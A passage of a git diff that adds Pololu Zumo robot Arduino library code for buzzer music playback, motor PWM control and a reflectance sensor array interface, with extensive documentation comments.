pwm frequency + OCR2B = top >> (16 - volume); // set duty cycle (volume) + buzzerTimeout = timeout; // set buzzer duration + + TIFR2 |= 0xFF; // clear any pending t2 overflow int. +#endif + + ENABLE_TIMER_INTERRUPT(); +} + + + +// Determine the frequency for the specified note, then play that note +// for the desired duration (in ms). This is done without using floats +// and without having to loop. volume controls buzzer volume, with 15 being +// loudest and 0 being quietest. +// Note: frequency*duration/1000 must be less than 0xFFFF (65535). This +// means that you can't use a max duration of 65535 ms for frequencies +// greater than 1 kHz. For example, the max duration you can use for a +// frequency of 10 kHz is 6553 ms. If you use a duration longer than this, +// you will cause an integer overflow that produces unexpected behavior. +void ZumoBuzzer::playNote(unsigned char note, unsigned int dur, + unsigned char volume) +{ + // note = key + octave * 12, where 0 <= key < 12 + // example: A4 = A + 4 * 12, where A = 9 (so A4 = 57) + // A note is converted to a frequency by the formula: + // Freq(n) = Freq(0) * a^n + // where + // Freq(0) is chosen as A4, which is 440 Hz + // and + // a = 2 ^ (1/12) + // n is the number of notes you are away from A4. + // One can see that the frequency will double every 12 notes. + // This function exploits this property by defining the frequencies of the + // 12 lowest notes allowed and then doubling the appropriate frequency + // the appropriate number of times to get the frequency for the specified + // note. + + // if note = 16, freq = 41.2 Hz (E1 - lower limit as freq must be >40 Hz) + // if note = 57, freq = 440 Hz (A4 - central value of ET Scale) + // if note = 111, freq = 9.96 kHz (D#9 - upper limit, freq must be <10 kHz) + // if note = 255, freq = 1 kHz and buzzer is silent (silent note) + + // The most significant bit of freq is the "divide by 10" bit. If set, + // the units for frequency are .1 Hz, not Hz, and freq must be divided + // by 10 to get the true frequency in Hz. This allows for an extra digit + // of resolution for low frequencies without the need for using floats. + + unsigned int freq = 0; + unsigned char offset_note = note - 16; + + if (note == SILENT_NOTE || volume == 0) + { + freq = 1000; // silent notes => use 1kHz freq (for cycle counter) + playFrequency(freq, dur, 0); + return; + } + + if (note <= 16) + offset_note = 0; + else if (offset_note > 95) + offset_note = 95; + + unsigned char exponent = offset_note / 12; + + // frequency table for the lowest 12 allowed notes + // frequencies are specified in tenths of a Hertz for added resolution + switch (offset_note - exponent * 12) // equivalent to (offset_note % 12) + { + case 0: // note E1 = 41.2 Hz + freq = 412; + break; + case 1: // note F1 = 43.7 Hz + freq = 437; + break; + case 2: // note F#1 = 46.3 Hz + freq = 463; + break; + case 3: // note G1 = 49.0 Hz + freq = 490; + break; + case 4: // note G#1 = 51.9 Hz + freq = 519; + break; + case 5: // note A1 = 55.0 Hz + freq = 550; + break; + case 6: // note A#1 = 58.3 Hz + freq = 583; + break; + case 7: // note B1 = 61.7 Hz + freq = 617; + break; + case 8: // note C2 = 65.4 Hz + freq = 654; + break; + case 9: // note C#2 = 69.3 Hz + freq = 693; + break; + case 10: // note D2 = 73.4 Hz + freq = 734; + break; + case 11: // note D#2 = 77.8 Hz + freq = 778; + break; + } + + if (exponent < 7) + { + freq = freq << exponent; // frequency *= 2 ^ exponent + if (exponent > 1) // if the frequency is greater than 160 Hz + freq = (freq + 5) / 10; // we don't need the extra resolution + else + freq += DIV_BY_10; // else keep the added digit of resolution + } + else + freq = (freq * 64 + 2) / 5; // == freq * 2^7 / 10 without int overflow + + if (volume > 15) + volume = 15; + playFrequency(freq, dur, volume); // set buzzer this freq/duration +} + + + +// Returns 1 if the buzzer is currently playing, otherwise it returns 0 +unsigned char ZumoBuzzer::isPlaying() +{ + return !buzzerFinished || buzzerSequence != 0; +} + + +// Plays the specified sequence of notes. If the play mode is +// PLAY_AUTOMATIC, the sequence of notes will play with no further +// action required by the user. If the play mode is PLAY_CHECK, +// the user will need to call playCheck() in the main loop to initiate +// the playing of each new note in the sequence. The play mode can +// be changed while the sequence is playing. +// This is modeled after the PLAY commands in GW-BASIC, with just a +// few differences. +// +// The notes are specified by the characters C, D, E, F, G, A, and +// B, and they are played by default as "quarter notes" with a +// length of 500 ms. This corresponds to a tempo of 120 +// beats/min. Other durations can be specified by putting a number +// immediately after the note. For example, C8 specifies C played as an +// eighth note, with half the duration of a quarter note. The special +// note R plays a rest (no sound). +// +// Various control characters alter the sound: +// '>' plays the next note one octave higher +// +// '<' plays the next note one octave lower +// +// '+' or '#' after a note raises any note one half-step +// +// '-' after a note lowers any note one half-step +// +// '.' after a note "dots" it, increasing the length by +// 50%. Each additional dot adds half as much as the +// previous dot, so that "A.." is 1.75 times the length of +// "A". +// +// 'O' followed by a number sets the octave (default: O4). +// +// 'T' followed by a number sets the tempo (default: T120). +// +// 'L' followed by a number sets the default note duration to +// the type specified by the number: 4 for quarter notes, 8 +// for eighth notes, 16 for sixteenth notes, etc. +// (default: L4) +// +// 'V' followed by a number from 0-15 sets the music volume. +// (default: V15) +// +// 'MS' sets all subsequent notes to play staccato - each note is played +// for 1/2 of its allotted time, followed by an equal period +// of silence. +// +// 'ML' sets all subsequent notes to play legato - each note is played +// for its full length. This is the default setting. +// +// '!' resets all persistent settings to their defaults. +// +// The following plays a c major scale up and back down: +// play("L16 V8 cdefgab>cbagfedc"); +// +// Here is an example from Bach: +// play("T240 L8 a gafaeada c+adaeafa > 8; // top 2 bits... (TC4H temporarily stores top 2 bits of 10-bit accesses) + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits +#else + TCCR2B = (TCCR2B & 0xF8) | TIMER2_CLK_32; // select IO clock + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle +#endif + + buzzerFinished = 1; + buzzerSequence = 0; +} + +// Gets the current character, converting to lower-case and skipping +// spaces. For any spaces, this automatically increments sequence! +static char currentCharacter() +{ + char c = 0; + do + { + if(use_program_space) + c = pgm_read_byte(buzzerSequence); + else + c = *buzzerSequence; + + if(c >= 'A' && c <= 'Z') + c += 'a'-'A'; + } while(c == ' ' && (buzzerSequence ++)); + + return c; +} + +// Returns the numerical argument specified at buzzerSequence[0] and +// increments sequence to point to the character immediately after the +// argument. +static unsigned int getNumber() +{ + unsigned int arg = 0; + + // read all digits, one at a time + char c = currentCharacter(); + while(c >= '0' && c <= '9') + { + arg *= 10; + arg += c-'0'; + buzzerSequence ++; + c = currentCharacter(); + } + + return arg; +} + +static void nextNote() +{ + unsigned char note = 0; + unsigned char rest = 0; + unsigned char tmp_octave = octave; // the octave for this note + unsigned int tmp_duration; // the duration of this note + unsigned int dot_add; + + char c; // temporary variable + + // if we are playing staccato, after every note we play a rest + if(staccato && staccato_rest_duration) + { + ZumoBuzzer::playNote(SILENT_NOTE, staccato_rest_duration, 0); + staccato_rest_duration = 0; + return; + } + + parse_character: + + // Get current character + c = currentCharacter(); + buzzerSequence ++; + + // Interpret the character. + switch(c) + { + case '>': + // shift the octave temporarily up + tmp_octave ++; + goto parse_character; + case '<': + // shift the octave temporarily down + tmp_octave --; + goto parse_character; + case 'a': + note = NOTE_A(0); + break; + case 'b': + note = NOTE_B(0); + break; + case 'c': + note = NOTE_C(0); + break; + case 'd': + note = NOTE_D(0); + break; + case 'e': + note = NOTE_E(0); + break; + case 'f': + note = NOTE_F(0); + break; + case 'g': + note = NOTE_G(0); + break; + case 'l': + // set the default note duration + note_type = getNumber(); + duration = whole_note_duration/note_type; + goto parse_character; + case 'm': + // set music staccato or legato + if(currentCharacter() == 'l') + staccato = false; + else + { + staccato = true; + staccato_rest_duration = 0; + } + buzzerSequence ++; + goto parse_character; + case 'o': + // set the octave permanently + octave = getNumber(); + tmp_octave = octave; + goto parse_character; + case 'r': + // Rest - the note value doesn't matter. + rest = 1; + break; + case 't': + // set the tempo + whole_note_duration = 60*400/getNumber()*10; + duration = whole_note_duration/note_type; + goto parse_character; + case 'v': + // set the volume + volume = getNumber(); + goto parse_character; + case '!': + // reset to defaults + octave = 4; + whole_note_duration = 2000; + note_type = 4; + duration = 500; + volume = 15; + staccato = 0; + // reset temp variables that depend on the defaults + tmp_octave = octave; + tmp_duration = duration; + goto parse_character; + default: + buzzerSequence = 0; + return; + } + + note += tmp_octave*12; + + // handle sharps and flats + c = currentCharacter(); + while(c == '+' || c == '#') + { + buzzerSequence ++; + note ++; + c = currentCharacter(); + } + while(c == '-') + { + buzzerSequence ++; + note --; + c = currentCharacter(); + } + + // set the duration of just this note + tmp_duration = duration; + + // If the input is 'c16', make it a 16th note, etc. + if(c > '0' && c < '9') + tmp_duration = whole_note_duration/getNumber(); + + // Handle dotted notes - the first dot adds 50%, and each + // additional dot adds 50% of the previous dot. + dot_add = tmp_duration/2; + while(currentCharacter() == '.') + { + buzzerSequence ++; + tmp_duration += dot_add; + dot_add /= 2; + } + + if(staccato) + { + staccato_rest_duration = tmp_duration / 2; + tmp_duration -= staccato_rest_duration; + } + + // this will re-enable the timer1 overflow interrupt + ZumoBuzzer::playNote(rest ? SILENT_NOTE : note, tmp_duration, volume); +} + + +// This puts play() into a mode where instead of advancing to the +// next note in the sequence automatically, it waits until the +// function playCheck() is called. The idea is that you can +// put playCheck() in your main loop and avoid potential +// delays due to the note sequence being checked in the middle of +// a time sensitive calculation. It is recommended that you use +// this function if you are doing anything that can't tolerate +// being interrupted for more than a few microseconds. +// Note that the play mode can be changed while a sequence is being +// played. +// +// Usage: playMode(PLAY_AUTOMATIC) makes it automatic (the +// default), playMode(PLAY_CHECK) sets it to a mode where you have +// to call playCheck(). +void ZumoBuzzer::playMode(unsigned char mode) +{ + play_mode_setting = mode; + + // We want to check to make sure that we didn't miss a note if we + // are going out of play-check mode. + if(mode == PLAY_AUTOMATIC) + playCheck(); +} + + +// Checks whether it is time to start another note, and starts +// it if so. If it is not yet time to start the next note, this method +// returns without doing anything. Call this as often as possible +// in your main loop to avoid delays between notes in the sequence. +// +// Returns true if it is still playing. +unsigned char ZumoBuzzer::playCheck() +{ + if(buzzerFinished && buzzerSequence != 0) + nextNote(); + return buzzerSequence != 0; +} diff --git a/libraries/Zumo/ZumoBuzzer.h b/libraries/Zumo/ZumoBuzzer.h new file mode 100755 index 0000000..14e10e1 --- /dev/null +++ b/libraries/Zumo/ZumoBuzzer.h @@ -0,0 +1,345 @@ +/*! \file ZumoBuzzer.h + * + * See the ZumoBuzzer class reference for more information about this library. + * + * \class ZumoBuzzer ZumoBuzzer.h + * \brief Play beeps and music with buzzer + * + * The ZumoBuzzer library allows various sounds to be played through the buzzer + * on the Zumo Shield, from simple beeps to complex tunes. The buzzer is + * controlled using a PWM output of Timer 2 (on the Arduino Uno and other + * ATmega328/168 boards) or Timer 4 (on the Arduino Leonardo and other + * ATmega32U4 boards), so it will conflict with any other uses of that timer. + * + * Note durations are timed using a timer overflow interrupt + * (`TIMER2_OVF`/`TIMER4_OVF`), which will briefly interrupt execution of your + * main program at the frequency of the sound being played. In most cases, the + * interrupt-handling routine is very short (several microseconds). However, + * when playing a sequence of notes in `PLAY_AUTOMATIC` mode (the default mode) + * with the `play()` command, this interrupt takes much longer than normal + * (perhaps several hundred microseconds) every time it starts a new note. It is + * important to take this into account when writing timing-critical code. + * + * The ZumoBuzzer library is fully compatible with the OrangutanBuzzer functions + * in the [Pololu AVR C/C++ Library](http://www.pololu.com/docs/0J18), so any + * sequences and melodies written for OrangutanBuzzer functions will also work + * with the equivalent ZumoBuzzer functions. + */ + +#ifndef ZumoBuzzer_h +#define ZumoBuzzer_h + +#define PLAY_AUTOMATIC 0 +#define PLAY_CHECK 1 + +// n +// Equal Tempered Scale is given by f = f * a +// n o +// +// where f is chosen as A above middle C (A4) at f = 440 Hz +// o o +// and a is given by the twelfth root of 2 (~1.059463094359) + +/*! \anchor note_macros + * + * \name Note Macros + * \a x specifies the octave of the note + * @{ + */ +#define NOTE_C(x) ( 0 + (x)*12) +#define NOTE_C_SHARP(x) ( 1 + (x)*12) +#define NOTE_D_FLAT(x) ( 1 + (x)*12) +#define NOTE_D(x) ( 2 + (x)*12) +#define NOTE_D_SHARP(x) ( 3 + (x)*12) +#define NOTE_E_FLAT(x) ( 3 + (x)*12) +#define NOTE_E(x) ( 4 + (x)*12) +#define NOTE_F(x) ( 5 + (x)*12) +#define NOTE_F_SHARP(x) ( 6 + (x)*12) +#define NOTE_G_FLAT(x) ( 6 + (x)*12) +#define NOTE_G(x) ( 7 + (x)*12) +#define NOTE_G_SHARP(x) ( 8 + (x)*12) +#define NOTE_A_FLAT(x) ( 8 + (x)*12) +#define NOTE_A(x) ( 9 + (x)*12) +#define NOTE_A_SHARP(x) (10 + (x)*12) +#define NOTE_B_FLAT(x) (10 + (x)*12) +#define NOTE_B(x) (11 + (x)*12) + +/*! \brief silences buzzer for the note duration */ +#define SILENT_NOTE 0xFF + +/*! \brief frequency bit that indicates Hz/10
+ * e.g. \a frequency = `(445 | DIV_BY_10)` gives a frequency of 44.5 Hz + */ +#define DIV_BY_10 (1 << 15) +/*! @} */ + +class ZumoBuzzer +{ + public: + + // constructor + ZumoBuzzer(); + + /*! \brief Plays the specified frequency for the specified duration. + * + * \param freq Frequency to play in Hz (or 0.1 Hz if the `DIV_BY_10` bit + * is set). + * \param duration Duration of the note in milliseconds. + * \param volume Volume of the note (0--15). + * + * The \a frequency argument must be between 40 Hz and 10 kHz. If the most + * significant bit of \a frequency is set, the frequency played is the value + * of the lower 15 bits of \a frequency in units of 0.1 Hz. Therefore, you can + * play a frequency of 44.5 Hz by using a \a frequency of `(DIV_BY_10 | 445)`. + * If the most significant bit of \a frequency is not set, the units for + * frequency are Hz. The \a volume argument controls the buzzer volume, with + * 15 being the loudest and 0 being the quietest. A \a volume of 15 supplies + * the buzzer with a 50% duty cycle PWM at the specified \a frequency. + * Lowering \a volume by one halves the duty cycle (so 14 gives a 25% duty + * cycle, 13 gives a 12.5% duty cycle, etc). The volume control is somewhat + * crude (especially on the ATmega328/168) and should be thought of as a bonus + * feature. + * + * This function plays the note in the background while your program continues + * to execute. If you call another buzzer function while the note is playing, + * the new function call will overwrite the previous and take control of the + * buzzer. If you want to string notes together, you should either use the + * `play()` function or put an appropriate delay after you start a note + * playing. You can use the `is_playing()` function to figure out when the + * buzzer is through playing its note or melody. + * + * ### Example ### + * + * ~~~{.ino} + * ZumoBuzzer buzzer; + * + * ... + * + * // play a 6 kHz note for 250 ms at a lower volume + * buzzer.playFrequency(6000, 250, 12); + * + * // wait for buzzer to finish playing the note + * while (buzzer.isPlaying()); + * + * // play a 44.5 Hz note for 1 s at full volume + * buzzer.playFrequency(DIV_BY_10 | 445, 1000, 15); + * ~~~ + * + * \warning \a frequency × \a duration / 1000 must be no greater than + 0xFFFF (65535). This means you can't use a max duration of 65535 ms for + frequencies greater than 1 kHz. For example, the maximum duration you can + use for a frequency of 10 kHz is 6553 ms. If you use a duration longer than + this, you will produce an integer overflow that can result in unexpected + behavior. + */ + static void playFrequency(unsigned int freq, unsigned int duration, + unsigned char volume); + + /*! \brief Plays the specified note for the specified duration. + * + * \param note Note to play (see \ref note_macros "Note Macros"). + * \param duration Duration of the note in milliseconds. + * \param volume Volume of the note (0--15). + * + * The \a note argument is an enumeration for the notes of the equal tempered + * scale (ETS). See \ref note_macros "Note Macros" for more information. The + * \a volume argument controls the buzzer volume, with 15 being the loudest + * and 0 being the quietest. A \a volume of 15 supplies the buzzer with a 50% + * duty cycle PWM at the specified \a frequency. Lowering \a volume by one + * halves the duty cycle (so 14 gives a 25% duty cycle, 13 gives a 12.5% duty + * cycle, etc). The volume control is somewhat crude (especially on the + * ATmega328/168) and should be thought of as a bonus feature. + * + * This function plays the note in the background while your program continues + * to execute. If you call another buzzer function while the note is playing, + * the new function call will overwrite the previous and take control of the + * buzzer. If you want to string notes together, you should either use the + * `play()` function or put an appropriate delay after you start a note + * playing. You can use the `is_playing()` function to figure out when the + * buzzer is through playing its note or melody. + */ + static void playNote(unsigned char note, unsigned int duration, + unsigned char volume); + + /*! \brief Plays the specified sequence of notes. + * + * \param sequence Char array containing a sequence of notes to play. + * + * If the play mode is `PLAY_AUTOMATIC` (default), the sequence of notes will + * play with no further action required by the user. If the play mode is + * `PLAY_CHECK`, the user will need to call `playCheck()` in the main loop to + * initiate the playing of each new note in the sequence. The play mode can be + * changed while the sequence is playing. The sequence syntax is modeled after + * the PLAY commands in GW-BASIC, with just a few differences. + * + * The notes are specified by the characters **C**, **D**, **E**, **F**, + * **G**, **A**, and **B**, and they are played by default as "quarter notes" + * with a length of 500 ms. This corresponds to a tempo of 120 beats/min. + * Other durations can be specified by putting a number immediately after the + * note. For example, C8 specifies C played as an eighth note, with half the + * duration of a quarter note. The special note **R** plays a rest (no sound). + * The sequence parser is case-insensitive and ignores spaces, which may be + * used to format your music nicely. + * + * Various control characters alter the sound: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
Control character(s)Effect
A--GSpecifies a note that will be played.
RSpecifies a rest (no sound for the duration of the note).
+ or # after a noteRaises the preceding note one half-step.
- after a noteLowers the preceding note one half-step.
1--2000 after a noteDetermines the duration of the preceding note. For example, C16 + * specifies C played as a sixteenth note (1/16th the length of a + * whole note).
. after a note"Dots" the preceding note, increasing the length by 50%. Each + * additional dot adds half as much as the previous dot, so that "A.." + * is 1.75 times the length of "A".
> before a notePlays the following note one octave higher.
< before a notePlays the following note one octave lower.
O followed by a numberSets the octave. (default: **O4**)
T followed by a numberSets the tempo in beats per minute (BPM). (default: **T120**)
L followed by a numberSets the default note duration to the type specified by the number: + * 4 for quarter notes, 8 for eighth notes, 16 for sixteenth notes, + * etc. (default: **L4**)
V followed by a numberSets the music volume (0--15). (default: **V15**)
MSSets all subsequent notes to play play staccato -- each note is + * played for 1/2 of its allotted time, followed by an equal period of + * silence.
MLSets all subsequent notes to play legato -- each note is played for + * full length. This is the default setting.
!Resets the octave, tempo, duration, volume, and staccato setting to + * their default values. These settings persist from one `play()` to the + * next, which allows you to more conveniently break up your music into + * reusable sections.
+ * + * This function plays the string of notes in the background while your + * program continues to execute. If you call another buzzer function while the + * melody is playing, the new function call will overwrite the previous and + * take control of the buzzer. If you want to string melodies together, you + * should put an appropriate delay after you start a melody playing. You can + * use the `is_playing()` function to figure out when the buzzer is through + * playing the melody. + * + * ### Example ### + * + * ~~~{.ino} + * ZumoBuzzer buzzer; + * + * ... + * + * // play a C major scale up and back down: + * buzzer.play("!L16 V8 cdefgab>cbagfedc"); + * while (buzzer.isPlaying()); + * + * // the first few measures of Bach's fugue in D-minor + * buzzer.play("!T240 L8 agafaea dac+adaea fa + * + * ZumoBuzzer buzzer; + * const char melody[] PROGMEM = "!L16 V8 cdefgab>cbagfedc"; + * + * ... + * + * buzzer.playFromProgramSpace(melody); + * ~~~ + */ + static void playFromProgramSpace(const char *sequence_p); + + /*! \brief Controls whether `play()` sequence is played automatically or + * must be driven with `playCheck()`. + * + * \param mode Play mode (either `PLAY_AUTOMATIC` or `PLAY_CHECK`). + * + * This method lets you determine whether the notes of the `play()` sequence + * are played automatically in the background or are driven by the + * `play_check()` method. If \a mode is `PLAY_AUTOMATIC`, the sequence will + * play automatically in the background, driven by the timer overflow + * interrupt. The interrupt will take a considerable amount of time to execute + * when it starts the next note in the sequence playing, so it is recommended + * that you do not use automatic-play if you cannot tolerate being interrupted + * for more than a few microseconds. If \a mode is `PLAY_CHECK`, you can + * control when the next note in the sequence is played by calling the + * `play_check()` method at acceptable points in your main loop. If your main + * loop has substantial delays, it is recommended that you use automatic-play + * mode rather than play-check mode. Note that the play mode can be changed + * while the sequence is being played. The mode is set to `PLAY_AUTOMATIC` by + * default. + */ + static void playMode(unsigned char mode); + + /*! \brief Starts the next note in a sequence, if necessary, in `PLAY_CHECK` + * mode. + * + * \return 0 if sequence is complete, 1 otherwise. + * + * This method only needs to be called if you are in `PLAY_CHECK` mode. It + * checks to see whether it is time to start another note in the sequence + * initiated by `play()`, and starts it if so. If it is not yet time to start + * the next note, this method returns without doing anything. Call this as + * often as possible in your main loop to avoid delays between notes in the + * sequence. This method returns 0 (false) if the melody to be played is + * complete, otherwise it returns 1 (true). + */ + static unsigned char playCheck(); + + /*! \brief Checks whether a note, frequency, or sequence is being played. + * + * \return 1 if the buzzer is current playing a note, frequency, or sequence; + * 0 otherwise. + * + * This method returns 1 (true) if the buzzer is currently playing a + * note/frequency or if it is still playing a sequence started by `play()`. + * Otherwise, it returns 0 (false). You can poll this method to determine when + * it's time to play the next note in a sequence, or you can use it as the + * argument to a delay loop to wait while the buzzer is busy. + */ + static unsigned char isPlaying(); + + /*! \brief Stops any note, frequency, or melody being played. + * + * This method will immediately silence the buzzer and terminate any + * note/frequency/melody that is currently playing. + */ + static void stopPlaying(); + + + private: + + // initializes timer for buzzer control + static void init2(); + static void init(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/ZumoMotors.cpp b/libraries/Zumo/ZumoMotors.cpp new file mode 100755 index 0000000..e7b8ad7 --- /dev/null +++ b/libraries/Zumo/ZumoMotors.cpp @@ -0,0 +1,114 @@ +#include "ZumoMotors.h" + +#define PWM_L 10 +#define PWM_R 9 +#define DIR_L 8 +#define DIR_R 7 + +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) || defined (__AVR_ATmega32U4__) + #define USE_20KHZ_PWM +#endif + +static boolean flipLeft = false; +static boolean flipRight = false; + +// constructor (doesn't do anything) +ZumoMotors::ZumoMotors() +{ +} + +// initialize timer1 to generate the proper PWM outputs to the motor drivers +void ZumoMotors::init2() +{ + pinMode(PWM_L, OUTPUT); + pinMode(PWM_R, OUTPUT); + pinMode(DIR_L, OUTPUT); + pinMode(DIR_R, OUTPUT); + +#ifdef USE_20KHZ_PWM + // Timer 1 configuration + // prescaler: clockI/O / 1 + // outputs enabled + // phase-correct PWM + // top of 400 + // + // PWM frequency calculation + // 16MHz / 1 (prescaler) / 2 (phase-correct) / 400 (top) = 20kHz + TCCR1A = 0b10100000; + TCCR1B = 0b00010001; + ICR1 = 400; +#endif +} + +// enable/disable flipping of left motor +void ZumoMotors::flipLeftMotor(boolean flip) +{ + flipLeft = flip; +} + +// enable/disable flipping of right motor +void ZumoMotors::flipRightMotor(boolean flip) +{ + flipRight = flip; +} + +// set speed for left motor; speed is a number between -400 and 400 +void ZumoMotors::setLeftSpeed(int speed) +{ + init(); // initialize if necessary + + boolean reverse = 0; + + if (speed < 0) + { + speed = -speed; // make speed a positive quantity + reverse = 1; // preserve the direction + } + if (speed > 400) // Max + speed = 400; + +#ifdef USE_20KHZ_PWM + OCR1B = speed; +#else + analogWrite(PWM_L, speed * 51 / 80); // default to using analogWrite, mapping 400 to 255 +#endif + + if (reverse ^ flipLeft) // flip if speed was negative or flipLeft setting is active, but not both + digitalWrite(DIR_L, HIGH); + else + digitalWrite(DIR_L, LOW); +} + +// set speed for right motor; speed is a number between -400 and 400 +void ZumoMotors::setRightSpeed(int speed) +{ + init(); // initialize if necessary + + boolean reverse = 0; + + if (speed < 0) + { + speed = -speed; // Make speed a positive quantity + reverse = 1; // Preserve the direction + } + if (speed > 400) // Max PWM dutycycle + speed = 400; + +#ifdef USE_20KHZ_PWM + OCR1A = speed; +#else + analogWrite(PWM_R, speed * 51 / 80); // default to using analogWrite, mapping 400 to 255 +#endif + + if (reverse ^ flipRight) // flip if speed was negative or flipRight setting is active, but not both + digitalWrite(DIR_R, HIGH); + else + digitalWrite(DIR_R, LOW); +} + +// set speed for both motors +void ZumoMotors::setSpeeds(int leftSpeed, int rightSpeed) +{ + setLeftSpeed(leftSpeed); + setRightSpeed(rightSpeed); +} \ No newline at end of file diff --git a/libraries/Zumo/ZumoMotors.h b/libraries/Zumo/ZumoMotors.h new file mode 100755 index 0000000..67a4f94 --- /dev/null +++ b/libraries/Zumo/ZumoMotors.h @@ -0,0 +1,48 @@ +/*! \file ZumoMotors.h + * + * See the ZumoMotors class reference for more information about this library. + * + * \class ZumoMotors ZumoMotors.h + * \brief Control motor speed and direction + * + */ + +#ifndef ZumoMotors_h +#define ZumoMotors_h + +#include + +class ZumoMotors +{ + public: + + // constructor (doesn't do anything) + ZumoMotors(); + + // enable/disable flipping of motors + static void flipLeftMotor(boolean flip); + static void flipRightMotor(boolean flip); + + // set speed for left, right, or both motors + static void setLeftSpeed(int speed); + static void setRightSpeed(int speed); + static void setSpeeds(int leftSpeed, int rightSpeed); + + private: + + static inline void init() + { + static boolean initialized = false; + + if (!initialized) + { + initialized = true; + init2(); + } + } + + // initializes timer1 for proper PWM generation + static void init2(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/ZumoReflectanceSensorArray.h b/libraries/Zumo/ZumoReflectanceSensorArray.h new file mode 100755 index 0000000..bc8d975 --- /dev/null +++ b/libraries/Zumo/ZumoReflectanceSensorArray.h @@ -0,0 +1,408 @@ +/*! \file ZumoReflectanceSensorArray.h + * + * See the ZumoReflectanceSensorArray class reference for more information about + * this library. + * + * \class ZumoReflectanceSensorArray ZumoReflectanceSensorArray.h + * \brief Read from reflectance sensor array + * + * The ZumoReflectanceSensorArray library provides an interface for using a + * [Zumo Reflectance Sensor Array](http://www.pololu.com/product/1419) connected + * to a Zumo robot. The library provides access to the raw sensor values as well + * as to high level functions including calibration and line-tracking. + * + * For calibration, memory is allocated using the `malloc()` function. This + * conserves RAM: if all six sensors are calibrated with the emitters both on + * and off, a total of 48 bytes is dedicated to storing calibration values. + * However, for an application where only two sensors are used, and the + * emitters are always on during reads, only 4 bytes are required. + * + * Internally, this library uses all standard Arduino functions such as + * `micros()` for timing and `digitalRead()` for getting the sensor values, so + * it should work on all Arduinos without conflicting with other libraries. + * + * ### Calibration ### + * + * This library allows you to use the `calibrate()` method to easily calibrate + * your sensors for the particular conditions it will encounter. Calibrating + * your sensors can lead to substantially more reliable sensor readings, which + * in turn can help simplify your code. As such, we recommend you build a + * calibration phase into your Zumo's initialization routine. This can be as + * simple as a fixed duration over which you repeatedly call the `calibrate()` + * method. + * + * During this calibration phase, you will need to expose each of your + * reflectance sensors to the lightest and darkest readings they will encounter. + * For example, if your Zumo is programmed to be a line follower, you will want + * to slide it across the line during the calibration phase so the each sensor + * can get a reading of how dark the line is and how light the ground is (or you + * can program it to automatically turn back and forth to pass all of the + * sensors over the line). The **SensorCalibration** example included with this + * library demonstrates a calibration routine. + * + * ### Reading the sensors + * + * + * This library gives you a number of different ways to read the sensors. + * + * - You can request raw sensor values using the `read()` method. + * + * - You can request calibrated sensor values using the `readCalibrated()` + * method. Calibrated sensor values will always range from 0 to 1000, with the + * extreme values corresponding to the most and least reflective surfaces + * encountered during calibration. + * + * - For line-detection applications, you can request the line location using + * the `readLine()` method. This function provides calibrated values + * for each sensor and returns an integer that tells you where it thinks the + * line is. + * + * ### Class Inheritance ### + * + * The ZumoReflectanceSensorArray class is derived from the QTRSensorsRC class, + * which is in turn derived from the QTRSensors base class. The QTRSensorsRC and + * QTRSensors classes are part of the \ref QTRSensors.h "QTRSensors" library, + * which provides more general functionality for working with reflectance + * sensors and is included in the Zumo Shield libraries as a dependency for this + * library. + * + * We recommend using the ZumoReflectanceSensorArray library instead of + * the \ref QTRSensors.h "QTRSensors" library when programming an Arduino on a + * Zumo. For documentation specific to the %QTRSensors library, please see its + * [user's guide](http://www.pololu.com/docs/0J19) on Pololu's website. + */ + +#ifndef ZumoReflectanceSensorArray_h +#define ZumoReflectanceSensorArray_h + +#include <../QTRSensors/QTRSensors.h> +#include + +#if defined(__AVR_ATmega32U4__) + // Arduino Leonardo + #define ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN A4 +#else + // Arduino UNO and other ATmega328P/168 Arduinos + #define ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN 2 +#endif + +class ZumoReflectanceSensorArray : public QTRSensorsRC +{ + public: + + /*! \brief Minimal constructor. + * + * This version of the constructor performs no initialization. If it is used, + * the user must call init() before using the methods in this class. + */ + ZumoReflectanceSensorArray() {} + + /*! \brief Constructor; initializes with given emitter pin and defaults for + * other settings. + * + * \param emitterPin Pin that turns IR emitters on or off. + * + * This constructor calls `init(unsigned char emitterPin)` with the specified + * emitter pin and default values for other settings. + */ + ZumoReflectanceSensorArray(unsigned char emitterPin) + { + init(emitterPin); + } + + /*! \brief Constructor; initializes with all settings as given. + * + * \param pins Array of pin numbers for sensors. + * \param numSensors Number of sensors. + * \param timeout Maximum duration of reflectance reading in microseconds. + * \param emitterPin Pin that turns IR emitters on or off. + * + * This constructor calls `init(unsigned char * pins, unsigned char + * numSensors, unsigned int timeout, unsigned char emitterPin)` with all + * settings as given. + */ + ZumoReflectanceSensorArray(unsigned char * pins, unsigned char numSensors, unsigned int timeout = 2000, + unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + QTRSensorsRC::init(pins, numSensors, timeout, emitterPin); + } + + /*! \brief Initializes with given emitter pin and and defaults for other + * settings. + * + * \param emitterPin Pin that turns IR emitters on or off. + * + * This function initializes the ZumoReflectanceSensorArray object with the + * specified emitter pin. The other settings are set to default values: all + * six sensors on the array are active, and a timeout of 2000 microseconds is + * used. + * + * \a emitterPin is the Arduino digital pin that controls whether the IR LEDs + * are on or off. This pin is optional; if a valid pin is specified, the + * emitters will only be turned on during a reading. If \a emitterPin is not + * specified, the emitters will be controlled with pin 2 on the Uno (and other + * ATmega328/168 boards) or pin A4 on the Leonardo (and other ATmega32U4 + * boards). (The "LED ON" jumper on the Zumo Reflectance Sensor Array must be + * configured correctly for this to work.) If the value `QTR_NO_EMITTER_PIN` + * (255) is used, you can leave the emitter pin disconnected and the IR + * emitters will always be on. + */ + void init(unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + unsigned char sensorPins[] = { 4, A3, 11, A0, A2, 5 }; + QTRSensorsRC::init(sensorPins, sizeof(sensorPins), 2000, emitterPin); + } + + /*! \brief Initializes with all settings as given. + * + * 